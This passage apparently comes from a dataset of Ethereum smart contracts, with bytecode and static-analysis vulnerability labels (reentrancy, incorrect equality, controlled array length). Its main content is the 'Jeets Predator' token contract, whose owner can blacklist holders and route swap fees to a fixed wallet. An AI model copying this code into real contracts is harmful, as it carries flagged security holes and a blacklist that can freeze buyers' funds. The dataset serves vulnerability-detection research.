048589611c75565b915061110286603389600681106110ec57fe5b6004020160030154611cc090919063ffffffff16565b905061110c611bc3565b600a84015482111561111d57600080fd5b3481111561112a57600080fd5b600082111561113f57600a8401805483900390555b60003411156111515761115134611b90565b8585886006811061115e57fe5b018054909101905550505050505050565b6000808080808080808033600160a060020a038b16141561118f57600080fd5b336000908152605b60205260409020600b015415156111ad57600080fd5b600160a060020a038a166000908152605b60205260409020600b015415156111d457600080fd5b336000908152605c6020526040808220600160a060020a038d1683529082206007820154919b509950909750879650421161120e57600080fd5b6006880154421161121e57600080fd5b428960060154111561123557600019420160068a01555b610e10420160078a0155600096508694508493505b60038710156112ba576033876006811061126057fe5b600402015489886006811061127157fe5b01540294909401936033600388016006811061128957fe5b600402016001015488600001600360ff1689016006811015156112a857fe5b0154028401935086600101965061124a565b8385111561142e574261384001886006015410156112dd57613840420160068901555b6112e68a611ce5565b505050600160a060020a0387166000908152605b60205260408082203383529120600a82015460039650600290045b600687101561135157600288886006811061132c57fe5b015481151561133757fe5b0488886006811061134457fe5b0155600190960195611315565b600096505b60038710156114155760006033886006811061136e57fe5b6004020154111561140a5788876006811061138557fe5b01549550836033886006811061139757fe5b6004020154870211156113c5576002858588028115156113b357fe5b048115156113bd57fe5b0495506113cc565b6002860495505b6113e38988600681106113db57fe5b015487611c4a565b8988600681106113ef57fe5b0155603387600681106113fe57fe5b60040201548602909303925b866001019650611356565b600a808401805483900390558201805482019055611522565b600096505b600387101561146f57600289886006811061144a57fe5b015481151561145557fe5b0489886006811061146257fe5b0155600190960195611433565b600396505b60068710156115225760006033886006811061148c57fe5b60040201600101541115611517578787600681106114a657fe5b0154955084603388600681106114b857fe5b6004020160010154870211156114e5576002848688028115156114d757fe5b048115156114e157fe5b0495505b858888600681106114f257fe5b0180549190910390556033876006811061150857fe5b60040201600101548602850394505b866001019650611474565b50505050505050505050565b611536611daa565b600080805b6005811015611583576056816005811061155157fe5b0154600160a060020a031684826005811061156857fe5b600160a060020a03909216602092909202015260010161153b565b6055549250605454915050909192565b60008060535483111515156115a757600080fd5b60528054849081106115b557fe5b906000526020600020015491506053548310156115ec5760518054849081106115da57fe5b906000526020600020015490506115f5565b50604b54600a90045b915091565b6000806000611607611dc9565b61160f611de9565b600160a060020a0386166000908152605b60205260408120600a810154600b9091015490965094508080806116438a610687565b9650600090505b600960ff8216101561169a57600160a060020a038a166000908152605b6020526040902060ff82166009811061167c57fe5b01548660ff83166009811061168d57fe5b602002015260010161164a565b5060005b600360ff8216101561170657600160a060020a038a166000908152605b6020526040902060090160ff8216600381106116d357fe5b602081049091015460ff601f9092166101000a900481169086908316600381106116f957fe5b602002015260010161169e565b600160a060020a038a166000908152605b60205260409020600d0154935061172d8a610ec8565b925087420387028901915050919395975091939597565b605e54600090821061175557600080fd5b506000908152605d6020526040902054600160a060020a031690565b336000908152605b60205260408120600b8101549091908190151561179557600080fd5b605354336000908152605b60205260409020600e0154106117b557600080fd5b5050600e810154605354601e82820311156117d05750601e81015b600e83018190555b60535482101561187257336000908152605060209081526040808320858452909152812054111561186757605280548390811061181157fe5b6000918252602080832090910154338352605082526040808420868552909252912054605180548590811061184257fe5b90600052602060002001540281151561185757fe5b600d850180549290910490910190555b8160010191506117d8565b505050565b336000908152605b60205260408120600b0154151561189557600080fd5b604f544210156118a457600080fd5b604b546000106118b357600080fd5b600060526053548154811015156118c657fe5b90600052602060002001541115156118dd57600080fd5b620151804201604f55604b54600a900460516053548154811015156118fe57fe5b6000918252602080832090910192909255604b8054600a8104900390556051805460018181019092557f994a4b4eddb300691ee19901712848b1114bad8a1a4ae195e5abe0ec38021b9401829055605280548083019091557fa9144a5e7efd259b8b0d55467f4696ed47ec83317d61501b76366dbcca65ce7301829055605380549091019055338152605b90915260408120604d8054600d90920180549092019091555550565b336000908152605b60205260409020600b0154156119c257600080fd5b336000818152605b6020908152604080832042600b8201819055600a82018590556001808355600d8301869055605354600e90930192909255605c84528285206138408201600682015560070155605e80548552605d9093529220805473ffffffffffffffffffffffffffffffffffffffff19169093179092558154019055565b60008060006055543410151515611a5957600080fd5b336000908152605b60205260409020600b01541515611a7757600080fd5b600092505b6005831015611ab4573360568460058110611a9357fe5b0154600160a060020a03161415611aa957600080fd5b826001019250611a7c565b60545460569060058110611ac457fe5b0154600160a060020a03166000818152605b60205260409020600d81018054612710346124bb810291909104909101909155604b8054614e20610255909302929092049182019055604e8054909101905560558054601481040190559092509050611b2d611bc3565b611b3682611ce5565b336056605454600581101515611b4857fe5b01805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790556054805460010190819055600511611872576000605455505050565b604c54604b80546064848402819004909101909155604d8054828504019055604e80549282036000190190930204019055565b336000908152605b60205260408120600b0154819081901515611be557600080fd5b336000908152605b60205260409020600b0154421015611c0457600080fd5b336000818152605b60205260409020600b81015490945042039250611c2890610687565b42600b8501559050600081111561187257600a92909201805491909202019055565b600082821115611c5957600080fd5b50900390565b81810182811015611c6f57600080fd5b92915050565b6000808211611c8357600080fd5b506000611c94848402860183611cc0565b016002611cab83600019810163ffffffff611cc016565b8502811515611cb657fe5b0401949350505050565b818102821580611cda5750818382811515611cd757fe5b04145b1515611c6f57600080fd5b600160a060020a0381166000908152605b60205260408120600b0154819081901515611d1057600080fd5b600160a060020a0384166000908152605b60205260409020600b0154421015611d3857600080fd5b600160a060020a0384166000908152605b60205260409020600b81015490935042039150611d6584610687565b42600b85015590506000811115611d8557600a8301805491830291820190555b50505050565b60c0604051908101604052806006906020820280388339509192915050565b60a0604051908101604052806005906020820280388339509192915050565b610120604051908101604052806009906020820280388339509192915050565b60606040519081016040528060039060208202803883395091929150505600a165627a7a72305820bf78e7d2a135c37536670e981f529019a0f860768ccb0135b9c3d174b49ab8e90029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 9,884 |
0xdd5734addbca9a55c3dde205b72072159acf8d9e | // SPDX-License-Identifier: UNLICENSED
/*
Jeets Predator ($CUMQOM)
Telegram: https://t.me/cumqom
Website: https://cumqom.com
Jeets are all gone, time to APE in!
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CUMQOM is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Jeets Predator";
string private constant _symbol = "CUMQOM";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0xF5A984B7Da889805dD7bbca7DBec67cFf10B5501);
_buyTax = 12;
_sellTax = 12;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint burnAmount = contractTokenBalance/3;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 20000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen);
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 200000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 13) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 13) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a1461034e578063c3c8cd801461036e578063c9567bf914610383578063dbe8272c14610398578063dc1052e2146103b8578063dd62ed3e146103d857600080fd5b8063715018a6146102ad5780638da5cb5b146102c257806395d89b41146102ea5780639e78fb4f14610319578063a9059cbb1461032e57600080fd5b8063273123b7116100f2578063273123b71461021c578063313ce5671461023c57806346df33b7146102585780636fc3eaec1461027857806370a082311461028d57600080fd5b806306fdde031461013a578063095ea7b31461018357806318160ddd146101b35780631bbae6e0146101da57806323b872dd146101fc57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600e81526d2532b2ba3990283932b230ba37b960911b60208201525b60405161017a9190611917565b60405180910390f35b34801561018f57600080fd5b506101a361019e36600461179e565b61041e565b604051901515815260200161017a565b3480156101bf57600080fd5b5069021e19e0c9bab24000005b60405190815260200161017a565b3480156101e657600080fd5b506101fa6101f53660046118d0565b610435565b005b34801561020857600080fd5b506101a361021736600461175d565b610482565b34801561022857600080fd5b506101fa6102373660046116ea565b6104eb565b34801561024857600080fd5b506040516009815260200161017a565b34801561026457600080fd5b506101fa610273366004611896565b610536565b34801561028457600080fd5b506101fa61057e565b34801561029957600080fd5b506101cc6102a83660046116ea565b6105b2565b3480156102b957600080fd5b506101fa6105d4565b3480156102ce57600080fd5b506000546040516001600160a01b03909116815260200161017a565b3480156102f657600080fd5b5060408051808201909152600681526543554d514f4d60d01b602082015261016d565b34801561032557600080fd5b506101fa610648565b34801561033a57600080fd5b506101a361034936600461179e565b610844565b34801561035a57600080fd5b506101fa6103693660046117ca565b610851565b34801561037a57600080fd5b506101fa6108e7565b34801561038f57600080fd5b506101fa610927565b3480156103a457600080fd5b506101fa6103b33660046118d0565b610af1565b3480156103c457600080fd5b506101fa6103d33660046118d0565b610b29565b3480156103e457600080fd5b506101cc6103f3366004611724565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061042b338484610b61565b5060015b92915050565b6000546001600160a01b031633146104685760405162461bcd60e51b815260040161045f9061196c565b60405180910390fd5b6801158e460913d0000081111561047f5760108190555b50565b600061048f848484610c85565b6104e184336104dc85604051806060016040528060288152602001611b03602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fba565b610b61565b5060019392505050565b6000546001600160a01b031633146105155760405162461bcd60e51b815260040161045f9061196c565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105605760405162461bcd60e51b815260040161045f9061196c565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105a85760405162461bcd60e51b815260040161045f9061196c565b4761047f81610ff4565b6001600160a01b03811660009081526002602052604081205461042f9061102e565b6000546001600160a01b031633146105fe5760405162461bcd60e51b815260040161045f9061196c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106725760405162461bcd60e51b815260040161045f9061196c565b600f54600160a01b900460ff161561068957600080fd5b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156106e957600080fd5b505afa1580156106fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107219190611707565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561076957600080fd5b505afa15801561077d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a19190611707565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107e957600080fd5b505af11580156107fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108219190611707565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b600061042b338484610c85565b6000546001600160a01b0316331461087b5760405162461bcd60e51b815260040161045f9061196c565b60005b81518110156108e35760016006600084848151811061089f5761089f611ab3565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108db81611a82565b91505061087e565b5050565b6000546001600160a01b031633146109115760405162461bcd60e51b815260040161045f9061196c565b600061091c306105b2565b905061047f816110b2565b6000546001600160a01b031633146109515760405162461bcd60e51b815260040161045f9061196c565b600e546109739030906001600160a01b031669021e19e0c9bab2400000610b61565b600e546001600160a01b031663f305d719473061098f816105b2565b6000806109a46000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a0757600080fd5b505af1158015610a1b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a4091906118e9565b5050600f8054680ad78ebc5ac620000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610ab957600080fd5b505af1158015610acd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047f91906118b3565b6000546001600160a01b03163314610b1b5760405162461bcd60e51b815260040161045f9061196c565b600d81101561047f57600b55565b6000546001600160a01b03163314610b535760405162461bcd60e51b815260040161045f9061196c565b600d81101561047f57600c55565b6001600160a01b038316610bc35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045f565b6001600160a01b038216610c245760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045f565b6001600160a01b038216610d4b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045f565b60008111610dad5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045f565b6001600160a01b03831660009081526006602052604090205460ff1615610dd357600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e1557506001600160a01b03821660009081526005602052604090205460ff16155b15610faa576000600955600c54600a55600f546001600160a01b038481169116148015610e505750600e546001600160a01b03838116911614155b8015610e7557506001600160a01b03821660009081526005602052604090205460ff16155b8015610e8a5750600f54600160b81b900460ff165b15610eb7576000610e9a836105b2565b601054909150610eaa838361123b565b1115610eb557600080fd5b505b600f546001600160a01b038381169116148015610ee25750600e546001600160a01b03848116911614155b8015610f0757506001600160a01b03831660009081526005602052604090205460ff16155b15610f18576000600955600b54600a555b6000610f23306105b2565b600f54909150600160a81b900460ff16158015610f4e5750600f546001600160a01b03858116911614155b8015610f635750600f54600160b01b900460ff165b15610fa8576000610f75600383611a2a565b9050610f818183611a6b565b9150610f8c8161129a565b610f95826110b2565b478015610fa557610fa547610ff4565b50505b505b610fb58383836112d0565b505050565b60008184841115610fde5760405162461bcd60e51b815260040161045f9190611917565b506000610feb8486611a6b565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108e3573d6000803e3d6000fd5b60006007548211156110955760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161045f565b600061109f6112db565b90506110ab83826112fe565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110fa576110fa611ab3565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561114e57600080fd5b505afa158015611162573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111869190611707565b8160018151811061119957611199611ab3565b6001600160a01b039283166020918202929092010152600e546111bf9130911684610b61565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111f89085906000908690309042906004016119a1565b600060405180830381600087803b15801561121257600080fd5b505af1158015611226573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806112488385611a12565b9050838110156110ab5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045f565b600f805460ff60a81b1916600160a81b17905580156112c0576112c03061dead83610c85565b50600f805460ff60a81b19169055565b610fb5838383611340565b60008060006112e8611437565b90925090506112f782826112fe565b9250505090565b60006110ab83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061147b565b600080600080600080611352876114a9565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113849087611506565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113b3908661123b565b6001600160a01b0389166000908152600260205260409020556113d581611548565b6113df8483611592565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161142491815260200190565b60405180910390a3505050505050505050565b600754600090819069021e19e0c9bab240000061145482826112fe565b8210156114725750506007549269021e19e0c9bab240000092509050565b90939092509050565b6000818361149c5760405162461bcd60e51b815260040161045f9190611917565b506000610feb8486611a2a565b60008060008060008060008060006114c68a600954600a546115b6565b92509250925060006114d66112db565b905060008060006114e98e87878761160b565b919e509c509a509598509396509194505050505091939550919395565b60006110ab83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fba565b60006115526112db565b90506000611560838361165b565b3060009081526002602052604090205490915061157d908261123b565b30600090815260026020526040902055505050565b60075461159f9083611506565b6007556008546115af908261123b565b6008555050565b60008080806115d060646115ca898961165b565b906112fe565b905060006115e360646115ca8a8961165b565b905060006115fb826115f58b86611506565b90611506565b9992985090965090945050505050565b600080808061161a888661165b565b90506000611628888761165b565b90506000611636888861165b565b90506000611648826115f58686611506565b939b939a50919850919650505050505050565b60008261166a5750600061042f565b60006116768385611a4c565b9050826116838583611a2a565b146110ab5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045f565b80356116e581611adf565b919050565b6000602082840312156116fc57600080fd5b81356110ab81611adf565b60006020828403121561171957600080fd5b81516110ab81611adf565b6000806040838503121561173757600080fd5b823561174281611adf565b9150602083013561175281611adf565b809150509250929050565b60008060006060848603121561177257600080fd5b833561177d81611adf565b9250602084013561178d81611adf565b929592945050506040919091013590565b600080604083850312156117b157600080fd5b82356117bc81611adf565b946020939093013593505050565b600060208083850312156117dd57600080fd5b823567ffffffffffffffff808211156117f557600080fd5b818501915085601f83011261180957600080fd5b81358181111561181b5761181b611ac9565b8060051b604051601f19603f8301168101818110858211171561184057611840611ac9565b604052828152858101935084860182860187018a101561185f57600080fd5b600095505b8386101561188957611875816116da565b855260019590950194938601938601611864565b5098975050505050505050565b6000602082840312156118a857600080fd5b81356110ab81611af4565b6000602082840312156118c557600080fd5b81516110ab81611af4565b6000602082840312156118e257600080fd5b5035919050565b6000806000606084860312156118fe57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561194457858101830151858201604001528201611928565b81811115611956576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119f15784516001600160a01b0316835293830193918301916001016119cc565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a2557611a25611a9d565b500190565b600082611a4757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a6657611a66611a9d565b500290565b600082821015611a7d57611a7d611a9d565b500390565b6000600019821415611a9657611a96611a9d565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461047f57600080fd5b801515811461047f57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207e91c771de0fd67fb367d2b2de0d8253c4d178b5579651243003b997fa66ab4a64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 9,885 |
0x7300ec2d49be15cde7adac31e7e8523e49b65471 | pragma solidity ^0.4.18;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b <= a);
c = a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a * b;
require(a == 0 || c / a == b);
}
}
library NumericSequence
{
using SafeMath for uint256;
function sumOfN(uint256 basePrice, uint256 pricePerLevel, uint256 owned, uint256 count) internal pure returns (uint256 price)
{
require(count > 0);
price = 0;
price += SafeMath.mul((basePrice + pricePerLevel * owned), count);
